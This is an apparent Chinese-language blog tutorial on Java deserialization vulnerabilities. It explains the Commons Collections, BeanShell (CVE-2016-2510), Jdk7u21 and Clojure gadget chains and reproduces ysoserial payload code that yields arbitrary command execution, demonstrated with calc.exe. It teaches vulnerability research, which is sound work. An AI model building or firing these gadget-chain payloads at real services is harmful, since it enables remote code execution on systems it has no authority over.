前言
Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。
Java的序列化和反序列化
序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream
类的writeObject
方法来实现。
反序列化是一个将字节流恢复成对象的过程。在Java中,反序列化可以通过ObjectInputStream
类的readObject
方法来实现。
序列化和反序列化常常用于储存或传输对象。序列化的Bytes
中存储的信息包括有类名
和非静态成员变量
,若成员变量也是对象,则会进行递归序列化和反序列化的。对于特殊的类,不能直接使用通用的序列化和反序列化方法(如HashTable),需要自定义序列化和反序列化的方法。
攻击面
显而易见的攻击面:控制字节流Bytes
,即可以在程序中注入恶意构造的特定对象,但是这种方法一般难以应用与构造RCE,因为程序中往往会对反序列化后的对象进行类型转换,如果非指定的类,会抛出异常;这种方法更多可能用于信息的伪造,如权限绕过。
较深层的攻击面:在反序列化的过程中,若控制字节流Bytes
,则可控制反序列化的类以及它的成员变量,在这过程中会自动调用自定义的反序列化函数
,则可以简化为限制特定函数的有限制的代码执行,若能执行危险函数,则存在安全风险。若能找到合适的POP链,可以导致任意代码执行或命令执行。
关于Java的反序列化漏洞可以阅读长亭科技的这篇文章
文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:
Apache Commons Collections 3中有个
TransformedMap
类,它对标准的Map
进行了拓展,当这个TransformedMap
实例中的key或者value发生改变,会调用相应Transformer
的transform()
方法,这个相应的Transformer
是可以通过设置属性来设置的,而且可以用多个Transformer
组合成ChainedTransformer
,会依次调用transform()
方法。Apache Commons Collections 3自带的
InvokerTransformer
类的transform
方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec
。当然,这个以上所提到的需要
key
或者value
改变,而默认的readObject
函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map
而且readObject
函数会对key
或者value
进行改变,如setValue
。然后,找到了
AnnotationInvocationHandler
类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject
方法,执行恶意代码。
听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。
整个反序列化的流程是,AnnotationInvocationHandler
对象,它的readObject
函数
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这里其实还是需要分析一下的,我们的目的需要执行var5.setValue
,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null
这个条件,调试一下就可以发现var3
只有value
这个key,所以,需要Map
中的键值为value
,即innerMap.put("value","hello world");
。
OK,调用setValue
函数,会依次调用ChainedTransformer
里面的每一个Transformer
的transform
函数。这个ChainedTransformer
的构建方法如下。
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3. invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),
ysoserial
ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。
整体架构
源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。
源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。
由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。
BeanShell
beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。
BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler()
,设置为transient
,并且禁止Handler
类序列化。
BeanShell
通过反射的方式来实现调用函数,invocationHandler
是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler
中的函数,从而执行任意代码。
小技巧
java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()
和Comparator.compareTo()
方法。
Payload如下
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
首先,构造beanshell的执行payload,执行并存储在invocationHandler
中,
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
然后,通过反射,取出XThis
的成员变量invocationHandler
。
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
接下来构造动态代理,这里用到了小技巧,
PriorityQueue
类,它的readObject方法,跟进heapify()
方法,里面调用siftDown
方法,跟进,当comparator
不为null
,会调用siftDownUsingComparator
,并在里面调用comparator.compare()
方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
所以,我们只要将上面获得的invocationHandler
通过动态代理构造出实现Comparator
的对象,并作为PriorityQueue
的comparator
即可。
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
回顾一下,这里我们学到了一个小技巧PriorityQueue
可以在反序列化过程中调用Comparator.compare()
和 Comparable.compareTo()
函数。
Jdk7u21
该反序列化漏洞存在jdk自带库中,低于jdk7u21的jdk版本受此漏洞影响。
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
- Affected Product(s): Java SE 6, Java SE 7
- Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
有成员变量
byte[][] _bytecodes = null // 可以存储恶意bytecode
存在以下调用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
只要能够调用TemplatesImpl.getOutputProperties() / TemplatesImpl.newTransformer()即可以实现任意代码执行
在sun.reflect.annotation.AnnotationInvocationHandler
的equals
方法会反射调用Templates
所有方法,所以可以调用getOutputProperties()
Clojure
Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
小技巧
java.util.HashMap类在writeObject
过程中,将key/value
以列表的形式逐个序列化,在readObject
的过程中,会依次调用putVal(hash(key), key, value, false, false);
,所以会调用的key.hashCode()
和key.equals(k)
函数。
由于作者觉得之前写的文章不太容易理解,回炉重造中。。。
如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。
基础知识
Java 反射机制
Java反射是一个API,它被用于在运行时检测和修改方法、类、接口的行为。
通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。
Java的反射的基础是Class
类,当JVM加载类时会自动构造Class
对象,而Class
类对象则封装了(类和接口)的信息。
import java.lang.reflect.Method;
public class TestReflection {
public static void main(String [] args) throws Exception{
Object obj = Runtime.getRuntime();
// 获取obj的类名
System.out.println(obj.getClass().getName());
// 通过类名字符串获取类
Class c = Class.forName("java.lang.Runtime");
System.out.println(c);
// 根据名字获取方法
// Runtime.getRuntime().exec("calc.exe");
Method m1 = c.getDeclaredMethod("getRuntime");
Object o = m1.invoke(c, null);
Method m2 = o.getClass().getMethod("exec",String.class);
m2.invoke(o, "calc.exe");
}
}
Java动态代理机制
利用Java反射技术,在运行时创建接口s的动态实现。
一般创建动态代理,用到两个关键的类Proxy
和InvocationHandler
。
Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
interface IFoo{
void go();
void fly(int len);
}
class Foo implements IFoo{
@Override
public void go(){
System.out.println("调用了Foo 的go函数");
}
public void run(){
System.out.println("调用了Foo 的run函数");
}
@Override
public void fly(int len){
System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
}
}
class DynamicInvocationHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
return null;
}
}
public class TestDynamicProxy {
public static void main(String [] args){
// 正常调用
Foo f = new Foo();
f.go();
f.run();
f.fly(10);
// 动态代理调用我们定义的go函数
IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
f1.go();
// ff.run();
f1.fly(8);
IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
new Class[]{IFoo.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args){
System.out.println("method name is "+ method.getName() + ", args is "+args);
return null;
}
});
f2.go();
f2.fly(7);
}
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com